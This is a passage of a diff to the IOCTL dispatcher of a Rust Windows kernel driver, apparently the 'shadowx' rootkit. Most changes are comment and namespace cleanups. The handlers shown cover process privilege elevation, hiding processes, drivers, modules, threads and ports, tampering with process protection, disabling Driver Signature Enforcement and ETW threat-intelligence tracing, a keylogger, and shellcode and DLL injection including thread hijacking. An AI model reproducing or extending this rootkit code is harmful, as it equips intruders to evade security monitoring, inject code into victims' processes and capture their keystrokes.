|
let target_process = get_input_buffer::<TargetProcess>(stack)?;
|
||||||
let pid = (*target_process).pid;
|
let pid = (*target_process).pid;
|
||||||
|
|
||||||
// Update the IoStatus with the size of the process information.
|
// Update the IoStatus with the size of the process information
|
||||||
(*irp).IoStatus.Information = size_of::<TargetProcess>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetProcess>() as u64;
|
||||||
|
|
||||||
// Elevates the process privileges.
|
// Elevates the process privileges
|
||||||
Process::elevate_process(pid)
|
Process::elevate_process(pid)
|
||||||
}
|
}
|
||||||
}));
|
}));
|
||||||
@@ -111,13 +117,13 @@ impl IoctlManager {
|
|||||||
// Hide or Unhide the specified process.
|
// Hide or Unhide the specified process.
|
||||||
self.register_handler(HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
self.register_handler(HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Retrieves the process information from the input buffer.
|
// Retrieves the process information from the input buffer
|
||||||
let target_process = get_input_buffer::<TargetProcess>(stack)?;
|
let target_process = get_input_buffer::<TargetProcess>(stack)?;
|
||||||
let pid = (*target_process).pid;
|
let pid = (*target_process).pid;
|
||||||
|
|
||||||
// Hide or unhide the process based on the 'enable' flag.
|
// Hide or unhide the process based on the 'enable' flag
|
||||||
let status = if (*target_process).enable {
|
let status = if (*target_process).enable {
|
||||||
// Hides the process and stores its previous state.
|
// Hides the process and stores its previous state
|
||||||
let previous_list = Process::hide_process(pid)?;
|
let previous_list = Process::hide_process(pid)?;
|
||||||
let mut process_info = PROCESS_INFO_HIDE.lock();
|
let mut process_info = PROCESS_INFO_HIDE.lock();
|
||||||
let list_ptr = Box::into_raw(Box::new(previous_list));
|
let list_ptr = Box::into_raw(Box::new(previous_list));
|
||||||
@@ -130,7 +136,7 @@ impl IoctlManager {
|
|||||||
|
|
||||||
STATUS_SUCCESS
|
STATUS_SUCCESS
|
||||||
} else {
|
} else {
|
||||||
// Unhides the process.
|
// Unhides the process
|
||||||
let list_entry = PROCESS_INFO_HIDE.lock()
|
let list_entry = PROCESS_INFO_HIDE.lock()
|
||||||
.iter()
|
.iter()
|
||||||
.find(|p| p.pid == pid)
|
.find(|p| p.pid == pid)
|
||||||
@@ -149,11 +155,11 @@ impl IoctlManager {
|
|||||||
// Terminates the specified process.
|
// Terminates the specified process.
|
||||||
self.register_handler(TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
self.register_handler(TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Retrieves the process information from the input buffer.
|
// Retrieves the process information from the input buffer
|
||||||
let target_process = get_input_buffer::<TargetProcess>(stack)?;
|
let target_process = get_input_buffer::<TargetProcess>(stack)?;
|
||||||
let pid = (*target_process).pid;
|
let pid = (*target_process).pid;
|
||||||
|
|
||||||
// Update the IoStatus with the size of the process information.
|
// Update the IoStatus with the size of the process information
|
||||||
(*irp).IoStatus.Information = size_of::<TargetProcess>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetProcess>() as u64;
|
||||||
|
|
||||||
// Terminates the process.
|
// Terminates the process.
|
||||||
@@ -164,16 +170,16 @@ impl IoctlManager {
|
|||||||
// Modifies the PP/PPL (Protection Signature) of a process.
|
// Modifies the PP/PPL (Protection Signature) of a process.
|
||||||
self.register_handler(SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
self.register_handler(SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Retrieves the process information from the input buffer.
|
// Retrieves the process information from the input buffer
|
||||||
let target_process = get_input_buffer::<TargetProcess>(stack)?;
|
let target_process = get_input_buffer::<TargetProcess>(stack)?;
|
||||||
let pid = (*target_process).pid;
|
let pid = (*target_process).pid;
|
||||||
let sg = (*target_process).sg;
|
let sg = (*target_process).sg;
|
||||||
let tp = (*target_process).tp;
|
let tp = (*target_process).tp;
|
||||||
|
|
||||||
// Updates the IoStatus with the size of the process information.
|
// Updates the IoStatus with the size of the process information
|
||||||
(*irp).IoStatus.Information = size_of::<TargetProcess>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetProcess>() as u64;
|
||||||
|
|
||||||
// Modify the process's protection signature.
|
// Modify the process's protection signature
|
||||||
Process::protection_signature(pid, sg, tp)
|
Process::protection_signature(pid, sg, tp)
|
||||||
}
|
}
|
||||||
}));
|
}));
|
||||||
@@ -181,11 +187,11 @@ impl IoctlManager {
|
|||||||
// Lists hidden and protected processes.
|
// Lists hidden and protected processes.
|
||||||
self.register_handler(ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
self.register_handler(ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Retrieves the output buffer to store process information.
|
// Retrieves the output buffer to store process information
|
||||||
let (output_buffer, max_entries) = get_output_buffer::<TargetProcess>(irp, stack)?;
|
let (output_buffer, max_entries) = get_output_buffer::<TargetProcess>(irp, stack)?;
|
||||||
let input_target = get_input_buffer::<TargetProcess>(stack)?;
|
let input_target = get_input_buffer::<TargetProcess>(stack)?;
|
||||||
|
|
||||||
// Based on the options, either enumerate hidden or protected processes.
|
// Based on the options, either enumerate hidden or protected processes
|
||||||
let processes = match (*input_target).options {
|
let processes = match (*input_target).options {
|
||||||
Options::Hide => Process::enumerate_hide_processes(),
|
Options::Hide => Process::enumerate_hide_processes(),
|
||||||
|
|
||||||
@@ -199,10 +205,10 @@ impl IoctlManager {
|
|||||||
// Ensure we do not exceed buffer limits
|
// Ensure we do not exceed buffer limits
|
||||||
let entries_to_copy = core::cmp::min(processes.len(), max_entries);
|
let entries_to_copy = core::cmp::min(processes.len(), max_entries);
|
||||||
|
|
||||||
// Fill the output buffer with the enumerated processes' information.
|
// Fill the output buffer with the enumerated processes' information
|
||||||
core::ptr::copy_nonoverlapping(processes.as_ptr(), output_buffer, entries_to_copy);
|
core::ptr::copy_nonoverlapping(processes.as_ptr(), output_buffer, entries_to_copy);
|
||||||
|
|
||||||
// Updates the IoStatus with the size of the enumerated processes.
|
// Updates the IoStatus with the size of the enumerated processes
|
||||||
(*irp).IoStatus.Information = (entries_to_copy * size_of::<TargetProcess>()) as u64;
|
(*irp).IoStatus.Information = (entries_to_copy * size_of::<TargetProcess>()) as u64;
|
||||||
Ok(STATUS_SUCCESS)
|
Ok(STATUS_SUCCESS)
|
||||||
}
|
}
|
||||||
@@ -213,19 +219,19 @@ impl IoctlManager {
|
|||||||
// Add or remove shutdown/memory dump protection for a process.
|
// Add or remove shutdown/memory dump protection for a process.
|
||||||
self.register_handler(PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
self.register_handler(PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Retrieves the process information from the input buffer.
|
// Retrieves the process information from the input buffer
|
||||||
let process_protection = get_input_buffer::<TargetProcess>(stack)?;
|
let process_protection = get_input_buffer::<TargetProcess>(stack)?;
|
||||||
let pid = (*process_protection).pid;
|
let pid = (*process_protection).pid;
|
||||||
let enable = (*process_protection).enable;
|
let enable = (*process_protection).enable;
|
||||||
|
|
||||||
// Adds or removes protection for the process based on the 'enable' flag.
|
// Adds or removes protection for the process based on the 'enable' flag
|
||||||
let status = if enable {
|
let status = if enable {
|
||||||
process::add_pid(pid)
|
process::add_pid(pid)
|
||||||
} else {
|
} else {
|
||||||
process::remove_pid(pid)
|
process::remove_pid(pid)
|
||||||
};
|
};
|
||||||
|
|
||||||
// Updates the IoStatus with the size of the process information.
|
// Updates the IoStatus with the size of the process information
|
||||||
(*irp).IoStatus.Information = size_of::<TargetProcess>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetProcess>() as u64;
|
||||||
Ok(status)
|
Ok(status)
|
||||||
}
|
}
|
||||||
@@ -238,13 +244,13 @@ impl IoctlManager {
|
|||||||
// Enable/Disable DSE (Driver Signature Enforcement).
|
// Enable/Disable DSE (Driver Signature Enforcement).
|
||||||
self.register_handler(ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
self.register_handler(ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Get the input buffer containing DSE information.
|
// Get the input buffer containing DSE information
|
||||||
let target_dse = get_input_buffer::<DSE>(stack)?;
|
let target_dse = get_input_buffer::<DSE>(stack)?;
|
||||||
|
|
||||||
// Call to enable or disable DSE based on the input.
|
// Call to enable or disable DSE based on the input
|
||||||
let status = shadowx::Dse::set_dse_state((*target_dse).enable)?;
|
let status = Dse::set_dse_state((*target_dse).enable)?;
|
||||||
|
|
||||||
// Set the number of bytes returned to the size of the ETWTI structure.
|
// Set the number of bytes returned to the size of the ETWTI structure
|
||||||
(*irp).IoStatus.Information = size_of::<ETWTI>() as u64;
|
(*irp).IoStatus.Information = size_of::<ETWTI>() as u64;
|
||||||
Ok(status)
|
Ok(status)
|
||||||
}
|
}
|
||||||
@@ -253,19 +259,19 @@ impl IoctlManager {
|
|||||||
// Start Keylogger: Maps the address for keylogger functionality to user space.
|
// Start Keylogger: Maps the address for keylogger functionality to user space.
|
||||||
self.register_handler(KEYLOGGER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION| {
|
self.register_handler(KEYLOGGER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION| {
|
||||||
unsafe {
|
unsafe {
|
||||||
// If the USER_ADDRESS has not been set, retrieve it using the keylogger function.
|
// If the USER_ADDRESS has not been set, retrieve it using the keylogger function
|
||||||
if USER_ADDRESS == 0 {
|
if USER_ADDRESS == 0 {
|
||||||
USER_ADDRESS = match shadowx::Keylogger::get_user_address_keylogger() {
|
USER_ADDRESS = match Keylogger::get_user_address_keylogger() {
|
||||||
Ok(addr) => addr as usize,
|
Ok(addr) => addr as usize,
|
||||||
Err(err) => {
|
Err(err) => {
|
||||||
// Log the error and return a failure status if keylogger setup fails.
|
// Log the error and return a failure status if keylogger setup fails
|
||||||
log::error!("Error get_user_address_keylogger: {err}");
|
log::error!("Error get_user_address_keylogger: {err}");
|
||||||
return Ok(STATUS_UNSUCCESSFUL);
|
return Ok(STATUS_UNSUCCESSFUL);
|
||||||
},
|
},
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
// Write the USER_ADDRESS to the output buffer provided by the IRP.
|
// Write the USER_ADDRESS to the output buffer provided by the IRP
|
||||||
let output_buffer = (*irp).AssociatedIrp.SystemBuffer;
|
let output_buffer = (*irp).AssociatedIrp.SystemBuffer;
|
||||||
if output_buffer.is_null() {
|
if output_buffer.is_null() {
|
||||||
log::error!("IRP SystemBuffer is null");
|
log::error!("IRP SystemBuffer is null");
|
||||||
@@ -274,7 +280,7 @@ impl IoctlManager {
|
|||||||
|
|
||||||
*(output_buffer as *mut usize) = USER_ADDRESS;
|
*(output_buffer as *mut usize) = USER_ADDRESS;
|
||||||
|
|
||||||
// Set the number of bytes returned to the size of a `usize`.
|
// Set the number of bytes
|
||||||
(*irp).IoStatus.Information = size_of::<usize>() as u64;
|
(*irp).IoStatus.Information = size_of::<usize>() as u64;
|
||||||
Ok(STATUS_SUCCESS)
|
Ok(STATUS_SUCCESS)
|
||||||
}
|
}
|
||||||
@@ -283,13 +289,13 @@ impl IoctlManager {
|
|||||||
// Enable/Disable ETWTI.
|
// Enable/Disable ETWTI.
|
||||||
self.register_handler(ETWTI, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
self.register_handler(ETWTI, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Get the input buffer containing ETW tracing information.
|
// Get the input buffer containing ETW tracing information
|
||||||
let target_etw = get_input_buffer::<ETWTI>(stack)?;
|
let target_etw = get_input_buffer::<ETWTI>(stack)?;
|
||||||
|
|
||||||
// Call to enable or disable ETW tracing based on the input.
|
// Call to enable or disable ETW tracing based on the input
|
||||||
let status = shadowx::Etw::etwti_enable_disable((*target_etw).enable)?;
|
let status = Etw::etwti_enable_disable((*target_etw).enable)?;
|
||||||
|
|
||||||
// Set the number of bytes returned to the size of the ETWTI structure.
|
// Set the number of bytes returned to the size of the ETWTI structure
|
||||||
(*irp).IoStatus.Information = size_of::<ETWTI>() as u64;
|
(*irp).IoStatus.Information = size_of::<ETWTI>() as u64;
|
||||||
Ok(status)
|
Ok(status)
|
||||||
}
|
}
|
||||||
@@ -301,33 +307,33 @@ impl IoctlManager {
|
|||||||
// Handle port protection: hide port by toggling its status in the protected ports list.
|
// Handle port protection: hide port by toggling its status in the protected ports list.
|
||||||
self.register_handler(HIDE_PORT, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
self.register_handler(HIDE_PORT, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Lock the list of protected ports to check if it's empty.
|
// Lock the list of protected ports to check if it's empty
|
||||||
let protected_ports = network::PROTECTED_PORTS.lock();
|
let protected_ports = network::PROTECTED_PORTS.lock();
|
||||||
|
|
||||||
// If the list is empty and the hook is not installed, install the hook.
|
// If the list is empty and the hook is not installed, install the hook
|
||||||
if protected_ports.is_empty() && !network::HOOK_INSTALLED.load(Ordering::Relaxed) {
|
if protected_ports.is_empty() && !network::HOOK_INSTALLED.load(Ordering::Relaxed) {
|
||||||
Network::install_hook()?;
|
Network::install_hook()?;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Unlock the ports list.
|
// Unlock the ports list
|
||||||
drop(protected_ports);
|
drop(protected_ports);
|
||||||
|
|
||||||
// Get the target port from the input buffer.
|
// Get the target port from the input buffer
|
||||||
let target_port = get_input_buffer::<TargetPort>(stack)?;
|
let target_port = get_input_buffer::<TargetPort>(stack)?;
|
||||||
|
|
||||||
// Add or remove the target port from the protected list.
|
// Add or remove the target port from the protected list
|
||||||
let status = if (*target_port).enable {
|
let status = if (*target_port).enable {
|
||||||
network::add_port(target_port)
|
network::add_port(target_port)
|
||||||
} else {
|
} else {
|
||||||
network::remove_port(target_port)
|
network::remove_port(target_port)
|
||||||
};
|
};
|
||||||
|
|
||||||
// If the operation was successful and the list is now empty, uninstall the hook.
|
// If the operation was successful and the list is now empty, uninstall the hook
|
||||||
if NT_SUCCESS(status) && network::PROTECTED_PORTS.lock().is_empty() && network::HOOK_INSTALLED.load(Ordering::Relaxed) {
|
if NT_SUCCESS(status) && network::PROTECTED_PORTS.lock().is_empty() && network::HOOK_INSTALLED.load(Ordering::Relaxed) {
|
||||||
Network::uninstall_hook()?;
|
Network::uninstall_hook()?;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Set the number of bytes returned to the size of `TargetPort`.
|
// Set the number of bytes
|
||||||
(*irp).IoStatus.Information = size_of::<TargetPort>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetPort>() as u64;
|
||||||
Ok(status)
|
Ok(status)
|
||||||
}
|
}
|
||||||
@@ -336,7 +342,7 @@ impl IoctlManager {
|
|||||||
|
|
||||||
/// Registers the IOCTL handlers for module-related operations.
|
/// Registers the IOCTL handlers for module-related operations.
|
||||||
fn module(&mut self) {
|
fn module(&mut self) {
|
||||||
// Enumerate loaded modules in the target process.
|
// Enumerate loaded modules in the target process
|
||||||
self.register_handler(ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
self.register_handler(ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Get the target process from the input buffer
|
// Get the target process from the input buffer
|
||||||
@@ -344,8 +350,8 @@ impl IoctlManager {
|
|||||||
let (module_info, max_entries) = get_output_buffer::<ModuleInfo>(irp, stack)?;
|
let (module_info, max_entries) = get_output_buffer::<ModuleInfo>(irp, stack)?;
|
||||||
let pid = (*target_process).pid;
|
let pid = (*target_process).pid;
|
||||||
|
|
||||||
// Enumerate modules in the process.
|
// Enumerate modules in the process
|
||||||
let modules = shadowx::Module::enumerate_module(pid)?;
|
let modules = Module::enumerate_module(pid)?;
|
||||||
|
|
||||||
// Ensure we do not exceed buffer limits
|
// Ensure we do not exceed buffer limits
|
||||||
let entries_to_copy = core::cmp::min(modules.len(), max_entries);
|
let entries_to_copy = core::cmp::min(modules.len(), max_entries);
|
||||||
@@ -372,13 +378,13 @@ impl IoctlManager {
|
|||||||
// Hide a specific module in the target process.
|
// Hide a specific module in the target process.
|
||||||
self.register_handler(HIDE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
self.register_handler(HIDE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Get the target module information from the input buffer.
|
// Get the target module information from the input buffer
|
||||||
let target = get_input_buffer::<TargetModule>(stack)?;
|
let target = get_input_buffer::<TargetModule>(stack)?;
|
||||||
|
|
||||||
// Hide the module based on the PID and module name.
|
// Hide the module based on the PID and module name
|
||||||
let status = shadowx::Module::hide_module((*target).pid, &(*target).module_name.to_lowercase())?;
|
let status = Module::hide_module((*target).pid, &(*target).module_name.to_lowercase())?;
|
||||||
|
|
||||||
// Update IoStatus to indicate success.
|
// Update IoStatus to indicate success
|
||||||
(*irp).IoStatus.Information = size_of::<TargetModule>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetModule>() as u64;
|
||||||
Ok(status)
|
Ok(status)
|
||||||
}
|
}
|
||||||
@@ -387,102 +393,102 @@ impl IoctlManager {
|
|||||||
|
|
||||||
/// Registers the IOCTL handlers for injection-related operations.
|
/// Registers the IOCTL handlers for injection-related operations.
|
||||||
fn injection(&mut self) {
|
fn injection(&mut self) {
|
||||||
// Shellcode injection using a new thread (ZwCreateThreadEx).
|
// Shellcode injection using a new thread (ZwCreateThreadEx)
|
||||||
self.register_handler(INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
self.register_handler(INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Get the input buffer with the injection data.
|
// Get the input buffer with the injection data
|
||||||
let input_buffer = get_input_buffer::<TargetInjection>(stack)?;
|
let input_buffer = get_input_buffer::<TargetInjection>(stack)?;
|
||||||
let pid = (*input_buffer).pid;
|
let pid = (*input_buffer).pid;
|
||||||
let path = (*input_buffer).path.as_str();
|
let path = (*input_buffer).path.as_str();
|
||||||
|
|
||||||
// Set the size of the returned information.
|
// Set the size of the returned information
|
||||||
(*irp).IoStatus.Information = size_of::<TargetInjection>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetInjection>() as u64;
|
||||||
|
|
||||||
// Perform shellcode injection using a new thread.
|
// Perform shellcode injection using a new thread
|
||||||
shadowx::Shellcode::thread(pid, path)
|
Shellcode::thread(pid, path)
|
||||||
}
|
}
|
||||||
}));
|
}));
|
||||||
|
|
||||||
// Shellcode injection via APC (Asynchronous Procedure Call).
|
// Shellcode injection via APC (Asynchronous Procedure Call).
|
||||||
self.register_handler(INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
self.register_handler(INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Get the input buffer with the injection data.
|
// Get the input buffer with the injection data
|
||||||
let input_buffer = get_input_buffer::<TargetInjection>(stack)?;
|
let input_buffer = get_input_buffer::<TargetInjection>(stack)?;
|
||||||
let pid = (*input_buffer).pid;
|
let pid = (*input_buffer).pid;
|
||||||
let path = (*input_buffer).path.as_str();
|
let path = (*input_buffer).path.as_str();
|
||||||
|
|
||||||
// Set the size of the returned information.
|
// Set the size of the returned information
|
||||||
(*irp).IoStatus.Information = size_of::<TargetInjection>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetInjection>() as u64;
|
||||||
|
|
||||||
// Perform shellcode injection via APC.
|
// Perform shellcode injection via APC.
|
||||||
shadowx::Shellcode::apc(pid, path)
|
Shellcode::apc(pid, path)
|
||||||
}
|
}
|
||||||
}));
|
}));
|
||||||
|
|
||||||
// DLL injection using a new thread (ZwCreateThreadEx).
|
// DLL injection using a new thread (ZwCreateThreadEx).
|
||||||
self.register_handler(INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
self.register_handler(INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Get the input buffer with the injection data.
|
// Get the input buffer with the injection data
|
||||||
let input_buffer = get_input_buffer::<TargetInjection>(stack)?;
|
let input_buffer = get_input_buffer::<TargetInjection>(stack)?;
|
||||||
let pid = (*input_buffer).pid;
|
let pid = (*input_buffer).pid;
|
||||||
let path = (*input_buffer).path.as_str();
|
let path = (*input_buffer).path.as_str();
|
||||||
|
|
||||||
// Set the size of the returned information.
|
// Set the size of the returned information
|
||||||
(*irp).IoStatus.Information = size_of::<TargetInjection>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetInjection>() as u64;
|
||||||
|
|
||||||
// Perform DLL injection using a new thread.
|
// Perform DLL injection using a new thread
|
||||||
shadowx::DLL::thread(pid, path)
|
DLL::thread(pid, path)
|
||||||
}
|
}
|
||||||
}));
|
}));
|
||||||
|
|
||||||
// DLL injection using APC.
|
// DLL injection using APC.
|
||||||
self.register_handler(INJECTION_DLL_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
self.register_handler(INJECTION_DLL_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Get the input buffer with the injection data.
|
// Get the input buffer with the injection data
|
||||||
let input_buffer = get_input_buffer::<TargetInjection>(stack)?;
|
let input_buffer = get_input_buffer::<TargetInjection>(stack)?;
|
||||||
let pid = (*input_buffer).pid;
|
let pid = (*input_buffer).pid;
|
||||||
let path = (*input_buffer).path.as_str();
|
let path = (*input_buffer).path.as_str();
|
||||||
|
|
||||||
// Set the size of the returned information.
|
// Set the size of the returned information
|
||||||
(*irp).IoStatus.Information = size_of::<TargetInjection>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetInjection>() as u64;
|
||||||
|
|
||||||
// Perform DLL injection using APC
|
// Perform DLL injection using APC
|
||||||
shadowx::DLL::apc(pid, path)
|
DLL::apc(pid, path)
|
||||||
}
|
}
|
||||||
}));
|
}));
|
||||||
|
|
||||||
// Execute Shellcode with Thread Hijacking.
|
// Execute Shellcode with Thread Hijacking.
|
||||||
self.register_handler(INJECTION_SHELLCODE_THREAD_HIJACKING, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
self.register_handler(INJECTION_SHELLCODE_THREAD_HIJACKING, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Get the input buffer with the injection data.
|
// Get the input buffer with the injection data
|
||||||
let input_buffer = get_input_buffer::<TargetInjection>(stack)?;
|
let input_buffer = get_input_buffer::<TargetInjection>(stack)?;
|
||||||
let pid = (*input_buffer).pid;
|
let pid = (*input_buffer).pid;
|
||||||
let path = (*input_buffer).path.as_str();
|
let path = (*input_buffer).path.as_str();
|
||||||
|
|
||||||
// Set the size of the returned information.
|
// Set the size of the returned information
|
||||||
(*irp).IoStatus.Information = size_of::<TargetInjection>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetInjection>() as u64;
|
||||||
|
|
||||||
// Perform Thread Hijacking
|
// Perform Thread Hijacking
|
||||||
shadowx::Shellcode::thread_hijacking(pid, path)
|
Shellcode::thread_hijacking(pid, path)
|
||||||
}
|
}
|
||||||
}));
|
}));
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Registers the IOCTL handlers for driver-related operations.
|
/// Registers the IOCTL handlers for driver-related operations.
|
||||||
fn driver(&mut self) {
|
fn driver(&mut self) {
|
||||||
// Hiding / Unhiding a driver from the PsLoadedModuleList.
|
// Hiding / Unhiding a driver from the PsLoadedModuleList
|
||||||
self.register_handler(HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
self.register_handler(HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
unsafe {
|
unsafe {
|
||||||
let target_driver = get_input_buffer::<TargetDriver>(stack)?;
|
let target_driver = get_input_buffer::<TargetDriver>(stack)?;
|
||||||
let driver_name = &(*target_driver).name;
|
let driver_name = &(*target_driver).name;
|
||||||
|
|
||||||
// Perform the operation based on whether we are hiding or unhiding the driver.
|
// Perform the operation based on whether we are hiding or unhiding the driver
|
||||||
let status = if (*target_driver).enable {
|
let status = if (*target_driver).enable {
|
||||||
// Hide the driver and store its previous entries.
|
// Hide the driver and store its previous entries
|
||||||
let (previous_list, previos_ldr_data) = shadowx::Driver::hide_driver(driver_name)?;
|
let (previous_list, previos_ldr_data) = Driver::hide_driver(driver_name)?;
|
||||||
let mut driver_info = DRIVER_INFO_HIDE.lock();
|
let mut driver_info = DRIVER_INFO_HIDE.lock();
|
||||||
|
|
||||||
// Store the previous list entry and LDR_DATA_TABLE_ENTRY for later restoration.
|
// Store the previous list entry and LDR_DATA_TABLE_ENTRY for later restoration
|
||||||
let ldr_data = Box::into_raw(Box::new(previos_ldr_data));
|
let ldr_data = Box::into_raw(Box::new(previos_ldr_data));
|
||||||
let list_entry = Box::into_raw(Box::new(previous_list));
|
let list_entry = Box::into_raw(Box::new(previous_list));
|
||||||
|
|
||||||
@@ -505,10 +511,10 @@ impl IoctlManager {
|
|||||||
))
|
))
|
||||||
.ok_or(ShadowError::DriverNotFound(driver_name.to_string()))?;
|
.ok_or(ShadowError::DriverNotFound(driver_name.to_string()))?;
|
||||||
|
|
||||||
shadowx::Driver::unhide_driver(driver_name, list_entry.cast(), ldr_data.cast())?
|
Driver::unhide_driver(driver_name, list_entry.cast(), ldr_data.cast())?
|
||||||
};
|
};
|
||||||
|
|
||||||
// Set the size of the returned information.
|
// Set the size of the returned information
|
||||||
(*irp).IoStatus.Information = size_of::<TargetDriver>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetDriver>() as u64;
|
||||||
Ok(status)
|
Ok(status)
|
||||||
}
|
}
|
||||||
@@ -517,17 +523,17 @@ impl IoctlManager {
|
|||||||
// Enumerating active drivers on the system.
|
// Enumerating active drivers on the system.
|
||||||
self.register_handler(ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
self.register_handler(ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Get the output buffer for returning the driver information.
|
// Get the output buffer for returning the driver information
|
||||||
let (driver_info, max_entries) = get_output_buffer::<DriverInfo>(irp, stack)?;
|
let (driver_info, max_entries) = get_output_buffer::<DriverInfo>(irp, stack)?;
|
||||||
|
|
||||||
// Enumerate the drivers currently loaded in the system.
|
// Enumerate the drivers currently loaded in the system
|
||||||
let drivers = shadowx::Driver::enumerate_driver()?;
|
let drivers = Driver::enumerate_driver()?;
|
||||||
|
|
||||||
// Copy only what fits in the user buffer
|
// Copy only what fits in the user buffer
|
||||||
let entries_to_copy = core::cmp::min(drivers.len(), max_entries);
|
let entries_to_copy = core::cmp::min(drivers.len(), max_entries);
|
||||||
core::ptr::copy_nonoverlapping(drivers.as_ptr(), driver_info, entries_to_copy);
|
core::ptr::copy_nonoverlapping(drivers.as_ptr(), driver_info, entries_to_copy);
|
||||||
|
|
||||||
// Set the size of the returned information.
|
// Set the size of the returned information
|
||||||
(*irp).IoStatus.Information = (entries_to_copy * size_of::<DriverInfo>()) as u64;
|
(*irp).IoStatus.Information = (entries_to_copy * size_of::<DriverInfo>()) as u64;
|
||||||
Ok(STATUS_SUCCESS)
|
Ok(STATUS_SUCCESS)
|
||||||
}
|
}
|
||||||
@@ -546,7 +552,7 @@ impl IoctlManager {
|
|||||||
driver::remove_driver(driver_name)
|
driver::remove_driver(driver_name)
|
||||||
};
|
};
|
||||||
|
|
||||||
// Set the size of the returned information.
|
// Set the size of the returned information
|
||||||
(*irp).IoStatus.Information = size_of::<TargetDriver>() as u64;
|
(*irp).IoStatus.Information = size_of::<TargetDriver>() as u64;
|
||||||
Ok(status)
|
Ok(status)
|
||||||
}
|
}
|
||||||
@@ -559,13 +565,13 @@ impl IoctlManager {
|
|||||||
// Hide the specified Thread by removing it from the list of active threads.
|
// Hide the specified Thread by removing it from the list of active threads.
|
||||||
self.register_handler(HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
self.register_handler(HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Retrieves the thread information from the input buffer.
|
